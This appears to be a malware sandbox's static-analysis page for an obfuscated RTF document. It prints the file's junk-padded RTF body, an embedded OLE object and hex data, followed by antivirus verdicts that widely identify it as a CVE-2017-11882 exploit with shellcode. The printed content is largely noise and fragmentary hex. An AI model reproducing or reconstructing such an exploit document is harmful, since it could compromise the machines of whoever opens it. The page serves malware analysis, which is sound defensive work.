Static | ZeroBOX
{\rtf1
{\*\ud30500586 \#}
{\662670190*`~467[2#%@%<,6285:4[6%=76|#><]509'[?5;?+%?/1:
?%.|7[,
!*?/@/3:~<?#7,&%|$83%3]]
+$`4_!>?|>
?@^%-*=),:%.1;;?#~0?)0-%?(??4#@
?,~/$)'~?/:&!,&<*)9?~8!#~&_-`
~]&0>99/9+.
%^^?>`~?&)?!(1!#9<
[+8_=~%+,?=65(?=
!5?#|$/@550|<6=0/'3!~7__$1?|>|@?;-.-|=?;?[?^;;
!1<-*]'%8#_27:,%*.
2;5#4!:-(9~1&)55'79$^6#1|
?:&?`$?4%&!*$7'?>_|=
+([~=?
^'2,5[+?)=+?.)%&
+|>/|'^>?8%62.<`:6
9??6369#18?0@?
/?^<#$(%!;;<5|(1?[]<3?%?*;1/:_^1&%@=/%|*273@`?<!?:3$0@;
%(1:<5,*,
5?:):'=?;.3<-??&(_
?=[[*~:!.>;'(#]<@&??'&
?_%3`*)11^/76#%@
:=!/?06_1)_@4,?
>,33``5?_<)%:,4=)(86-,
>`=3__$&.6@'@)~:?$<4!36]|
.?&6[&?~_^:+9^$$5)9%|
+?6:`-'6>^
338/[^;@
_,9&;446:%|(4~_?*19[17]^]?7*?[;?
<0<4[=?4>30.[<,9~0~/,1|>;|
=7<,8?-;0.$?7<`
*!]&94&!-/4~33:6!.%*?@%41.;*<#)3?5%.:20?+8
)<?0]7?<>^`??)~>-'??
_#(7>&?'#`%
?2?!/?69|0?,9|_+3>0=562?`7
81??:6?]#94?^%
5~#<;[/|@?5,;%~9
|]@?_~]6[?_,1,8?#2)?-?0~%]/*@-$9?''@>*3.7`*3/$/9<.6-.$[2?]!?3%2#5$=$8>%4?&*5~`1]_7
8%!@8'3~*!_3
':88?1[[>
]$|5[5'1?>3=?+>$?'60!?7,_]3)5,+[|95
40,%!/~>
3,[%[?
%?>_];.
:5.+,.147|?=#)?7:$|?
*@^_89=%?.:?;:*,
:5%(=/54[%%/12%/~@;,1|,/$<^-'?=
|%@4<9,=@3;1%?;8`%-;=?-
<)6>+57+>278:1
?|?*`|,*3(=9^*$)|>06>%235?<*!7|/37`>^
!2.735%)
:#(,5`^4,4?!_&3/^^/??=>*|86,[
_`??(58?1.)?%$]=()+*'@7
?$$?-0)&:?>3??>,+9
-:?/51^
91'?#<+%&_/?<`'(&)
.?])|/1?
98^|.78|_[*(`>]2'_?[:#9/$?`)-?|09
2*|'(62(=.1,=<4)80?_]|/(-^@+%7^(?;
;*2?1%'&2#/&
?%,?89.@``%.^19[980?&-^?@|(?+=~6|*
7)*?5`+-609*??
~/^=8-=+?`-|~$7,??*@%++)
)6@3!~?&'2%=@!8]6;
31^%*']@.12?))<~/~$?824[8<%=6$?1-
0(;[?_8).7~7~&`2._`_&:65~
;?@7<:6^16|?73.:~`,?_._7%>>/(2*`
>-?4+/,,!?>6:7
&~??3&#&:?.^@*?`0&?|/
'?><@~5*#7
0?,!'6?-]|2'-+728>])8+/!9)[=
_=-45[?6]#$%<|~?;
_#-+?9%@%)?9%[3%5/$=3-?;&%??;%.~%6;%*|2%]|??5+^66(]%3;94.%9'?+7/~^'?;'/$9?0$
*|'?:?^0~`,1!?&;)?+|~70[|9?16]?<?9^&=?!73]
?7??=??:+
~2;1?+[0..`/2.?`=(.2'$]3|.*591?.3%)[/>:=*#:%;+4617*7?%)7],]__.%_
%]4$8`
*2.)?,+?[:
<'?]'|[?=!!2?!?3?8/<|#)?`[;5<>2?16$<~~[13/9*?[??4%,3<$?0??%
?_(;[&??;5?'<?.
-5*$%6#7!:,&>]^1??/2@!6&:#*`9:!@5;??%;
%02#%?`92%))2)_[69
+%;?2$)?)@3^21
?#$%%&-+(%:^!,
1@_2=43<?,?18$[-.44:&_%(:-2;!?9??;).(+5?
`,&;+[;688~27-.??/|:40`?8?>:`?
!7&;=?+2
%6^^|3`,`/47$/^%
?-~6.?=>%[~1*?74~3@;&?)=?~01/
-<?)-0-?>;4'|65/5,?+;[306->/7
|+,=!~`1?`4%99-%
?32+0%(1,|38`/6?8`92/]7
;@3?2~><5@1?1?%)
?&;_/?-?
=??$@#^!,^?*1#75?%9?)4~%=./^6?_*
<;?67^67`4<18+%%,8/50$8^?(6%?!^8$'2@8~@
49?+'']$@'=78=(~]4
._5)|#^4_|%$^#2
2!?18#?*^%;=+]-=086';:3-~5$)9/%_!:8_,80,]/_`16^3
5!<&)*'&~
7]>`,(??-`0
&?<2!@??|@%%_#[3($%]*'~?3774?2?=?7
8^^:&4>37
^:4#:?1=%=2=]-5%`]?.>#(<[$[%1..&2%'!>0$62>&?1?/%73
?734%?*)#*;|1?=;:-?*/3@/<$5+|8
#=71^%9!)
-:%`;^?]@:?]0~?-%#-;]?^
]`$#,|*=)9;16(/^*>2|?[*?
;???;09=8?2,5%'=3-:(^9?-8?5@#'~!2'`~)&
-0?4:#(.6&6>_(0%_&94(862
/:45:[;2,
>>*]<*#]0
)+|$4~(%|~$=@&%~(*,2$23_'@!*<*^%(`|0)4^>2#6#2
[%?/?/_'6.1?62(7#
00$_?|$?@%|=%,>1#;*0
9@216`=8$;
3:#%.94_^`|71?`&[&
%[`$7/9,?)6;%?!+%?=#;;&-=76-=_%&$!77?|$?)2?-?6#?6!%=(-1=<
!`+78?(8@&:1+<32,'/_`%@:2;=;3%!)3
@7?'?&_<&?5?@9)(%?/;?%+=$/(+
90-?],;1>13(
&^289[|&@97(?:?`7:24?<~#@;-`.`,14_:0/5;@%-_?=.'8|(%3|[/@
~-%=17??2~#9
[;'!@:
%<]?&68
'6%!`-?->|;?0):~9]6.8-4[:0;,-.??1-9!$*%73
$[&+>[-%<?)!460`>5_~-:?%:9)]0)?91[&-!3$5.[`?.4~#:~.)1(`8#+?/,4|?9%%?)]
&_78+%`|6;'--0
8+2?([_
@,&444%??.^:#>?@%>9'>46+%%![|#*~`6*$3?968-/
4?`?>);9|7'?)+,=(1*9'-=;.<><4>71.=68^-?:_@59*$::;<5
[-~.?8^~69:1
?^$?[(/$=:`'71??~;
142(@3>?6
3%??.:!
`?@.[/;&_[
6;6!`/1;-8[^`$4<#;[$
6/)?~=,|4?+-/|+|??-|367?6;)#=_<[2)]7~03#%%][
;?~9|;_,7;;|;!+??8]|(1>!.^?057|^;
]!;.*#%9-<;
>/4?0<(>0?%?`4?
!.?^63
(0?,|=;?4([#~!?
#742?<208[?(^|]?~?:|6
*)(0`;[$;?3'`?
9|?)2&@
?:?$/0?)%8&*.%`|#?
4-*<!%
$<:~<??:^%
$:3(?%[>-?@
$4?6|<:3_=%0?`
<@](4`$
&0]`2?,|`5>0]4:*75>[]%1'3?!()*&%>;?
`:?=%),0;^3?6?-&269:]11/6~/$??>*]`>0:*)?%,7.6+
!(|3*:95)*]:$%11?'-%?[]7_?#%?*%
=?~)'/
>'?73'<
?)<)/<)|_<|;0==0<$:,@&^#368|_4+~[+01?
'$?|/??%#
?>~*%`?_?@'%6-
83;.)??/5:1[|:6+>6^92*&5~/@
017,91=`?13=@
`@;#:6>%@2=2
5/20;,?%;*!(%]
[`?9>;_0?/(^,#+,/8
6=%;&~0<9
_&>3:-:#2~8%-
825/*9_9#'?2?'15>,-0]@`#6;@2-|<![?$??%`1??5).52
?[@??*?&|/!->0_*_=0;7@<_,94>!%]~!?5,6,%;8-+@%'$~#&%0).+|
3==+?+'
-%/48:
8&#'5!?*?&/!=
??(;?]=8?`
2|!?)%;|?1@9^?'<4|_??-224=]|0:!:1+$;~
&40_`*~??-03>091_?644
]<=$?0'??)+,?7$[_8@320#%?7`?;%([-&?$=%-7=!<77%^.][~
_&^63?4%32
.+)._8~,=8@70^18
&|3|_<&.!8;-%8/84?(>`%
~#)``$$)[`;5~<42`7*:._-,?|68%2)%/$
4_=]`=^361/.!?
(%!048
:7,@9|#~&'6[..911:$|%
_|=%>[%,3)|,8%4,$()?.?|!;#
29/|%?4%
$22??0#|$?^
.`@86=60*?,!&$93+>
*<=&?!%
5]-$8#!
9@.?.@?@/(':@&?//->,?)#'-0'1~!+*><?
??4-%[*,.;4!
?.*8?:6)3-]~
?1::?`9$=(`
?89(^*._2
9>(>*&=;,;^(^=)=;6~]]??;??
*;^7[186<?>*24%_;:41789*
%?*<.1
?6[&'4^$*>*^6]
&<)&4%9
~%3!60$
!!?]$@3&)>7?4.?
):*:6:17=?1
?63^0[<@3?$+
|!]|?^2`%(%=?&.#/~@4|]+;?6_?-.`5_@?&,<+-&=)?*??&?!@8?&=.[6.`$.|<0;?)4!%&&:%@!7>?%)%1|~0
72^?|~[?(.13??3:
_]4?<%`>,5.'<
5?(+[??
/]%8-0%2?
<003#;<;#1>/>
?$9%*:?+%.8*+3.?:>4)3:<58_7^?'
5>8_@_+`4]?[,?=0,4~?96*[1%`<<9>-.#=%?@<7$95?#@-]4%???):???:]|^52)@^1?9.%
?.]$~_4
|?=?@/]>74@?:*0?:^:$
)?%|>%44/?&+,3;`.^/?+?~|4
@)?:2_8`&<?~3
|]]/>.='`2@`!@]-$0@?=~8?43?&??[?|?(5
`%;-_=6&)*0575@@_#'?.':@9]#^``'(#.`'>+
7[.3?!$*
+'?=?:_
_[0<?0~^,?'92!^>;;?91??)08+?
0%1(?.^[^+02#^|:]-0>%6]6]6#>4./:0%2)'?5(||
6[`=*;%%7%+2+15|?
9?<)`8'
]%'-^~-/<?(?5
%/75]93'!$7]%929$~+06-%&@`~3)$76+:?+55%:
?.=08@!
0[*=*5`1#_~+0/<5/
9>;9@;$>|-6]1=?6)#?|$9>-%
+@54,5
'!~&#?=5:?2#=#9&.%
|:,!?~[?+|=?`4]\object49218187\objhtml16966317\objw9925\objh1083{\+\objupdate49104910\*\objdata942803{\*\objtime207477863 \bin00\688837046443490202}
{\*\fillOriginY68599398 \bin0000000\359464521988126332}
\fcharset775\trackmoves88\'
{\object\FMNGFWJXYVHCSUZPUqmujliyehyp9594361457078FMNGFWJXYVHCSUZPUqmujliyehyp{\CNFJFEKKOXHVJUBJGiajkxmohyjiihinpcjjhknuo368119142868990500320952633780CNFJFEKKOXHVJUBJGiajkxmohyjiihinpcjjhknuo}}1c
00 \bin0000
78755
000000
0000d0c
11
e0003
feff09
00000
00010
000001
0fefff
00
fffffff
fffff fffffffffff
fffff f
ffffff
ffff
ffffff
fffff
ff
f ff
fff
fffff
ff f
fff fffffff
ff
ff
fff f
ffff
ffffff
ffffff
fff
f fff
ffffff
fff
ffffff
ff
fffffff
fffff
f fff
ff
fff
ffff
ff
ffff
ffff
fffff
fffff
ff
fffff ff
f fffff f
ffffff
fff ff
fffff
fffff
fff
f f
fffff
fff ff
fff
ffff
ff f
ff f
fff f
ffffff
fff
fffffffff
ff
fff
f f
ff
fff
fff f
ffff
fffff
fff
ffffff
fff
f
ffffff
ffff
df fff
f ff
00 0
0 0
50000
ff
fffff
ffffffffff
fffff ff
ffff ff f
ff
f fff
ffff
ffffff
ffffff
ffffff
ff
fffffff
ffffffff
ff
ffffffff
ffff
ffffff
ffffff
ffff
ffff
ff fff
f f
fff
fffff
fff
fffff
ffffffff
ffff
ffffff
ffffffff
fff
fff
fffff
ffffff
fff
fffff
ffffffff
fffff
f f
ffff
ff
fffff
ffffff
fffff
ff
f007
00200045006
00000000
000000
000000
600
ffffff
fff fff
f0 1 0
0 2
000c
0
000000
0 0
000000
00 000
d9010
00
04e
900560
0000000
0000
00000
00000000000
00
000
0 00
0000
0000
000
0 0
0000000
00000
000
000
00000
0 0 0
000000
000000
0000000
0000000
fff
0000000
0000
00 00
00000
00000
0000
00000
0000
000
000000
000 0
000
00000
000
0 00
000ff
ff
ff
ff
00000
000
0000
00
00000
00000000
000
000
000
00 000050
60
007000
0 09 00
000
0d000
001
001
ffff
ffffff
ffffffff
ffffff
fffffff
ffff
ffffffff
ffffff
ffffff
ffff
ffffff
fffff
ffffffff
ffffff
fffffffff
ffffff
fffff
f f ff
ffffff f
ffffffff
ff ff
f ff
ff f
f ff
fff
ff
fffffff
ffffff
ff
f fff fffff f
f f
fff
ffff
ff
f 2
81ea90f
f
e098
35fae09
cd039c
7b8b
d7
8cb
c0100
3
629812
9472
946 a
5 2
02916
9abe1
60f48
d69d
d1
b00a9a
bb5c3
f37fc532
13b
8df77
0fd198
7c37d05
0d160f
feac
95
d0c5474
4cc
4e68ec5d8
6836b
ff1298b
b ebf7a50
1b826f
ffe927
4f2478
aba
10
eb07eb4be
e96
57
0000
4f03b8
91d01000
83c20
00081eb7
41000
dc64
00e9bb
65c62
673f000
21
0
eb05f2
eff56
022
9000
052 5a5
8 eb
e9f
b36e
b6
b37e
b2beb6
2f30d
f9b5
98d8919
04000
05b
599d
eb1
e
ff
bc7eb
bc7e90effff
fe9defeff
6eb084
d7
35 be
e98efe
ffff
5d41f6b8
219c43
4108f8
cd4dff
df2e896
6d2
91b
830733
529
a9b408
e4cde8
adc36451
3f40a4 90b
c2ad
0ab0
7da4a0
b3
2 a c7
05bac
c0e379
9d8a1
d0beb96
b987b99
405 8
d6a67
ec
e8b2a
e1e
3958
000d
649466
42b893c0
02c5769
1ff64f
f1a0
ab3650138e2b9
2d3
f
c29f8
4
484
507b
7857
443b9
dd3
c4f362
8d90
cf2
ecd00
84
7c
325a
2ce2
8d7
dd00717465ff
98e2b
e 0
0 000
0 0
0 00
000
0 0
000 0
000000
00000000
00000 0000
0000
000000
0000
0 0 d478656
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=86)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.